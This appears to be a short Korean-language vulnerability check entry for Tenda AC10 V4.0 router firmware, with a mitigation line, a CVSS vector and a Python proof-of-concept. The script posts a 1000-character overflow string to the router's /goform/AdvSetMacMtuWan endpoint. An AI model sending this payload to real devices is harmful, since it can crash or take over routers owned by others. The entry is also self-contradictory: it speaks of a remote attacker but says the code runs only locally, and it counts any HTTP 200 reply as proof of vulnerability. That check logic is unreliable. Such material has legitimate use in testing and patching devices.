Tenda AC10V4.0 V16.03.10.20
원격 공격자에 의한 악의적인 POST 요청
라우터 펌웨어를 최신 버전으로 업데이트하고, 불필요한 포트 및 서비스를 비활성화합니다.
로컬에서 라우터의 HTTP 포트에 접근하여, 악의적인 POST 요청을 보내는 Python 코드입니다. 이 코드를 실행하기 전에, 라우터의 IP 주소와 포트 번호를 확인하고, 해당 주소와 포트로 요청을 보내는 것을 확인해야 합니다. 또한, 이 코드는 라우터에 대한 원격 접근 권한이 필요하지 않으며, 로컬에서만 실행할 수 있습니다.
import requests
response = requests.post('http://localhost:80/goform/AdvSetMacMtuWan', data={'serviceName': 'A'*1000})
if response.status_code == 200:
print({"result": "취약", "reason": "서비스 거부 또는 코드 실행 가능"})
else:
print({"result": "양호", "reason": "서비스 거부 또는 코드 실행 불가"})
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H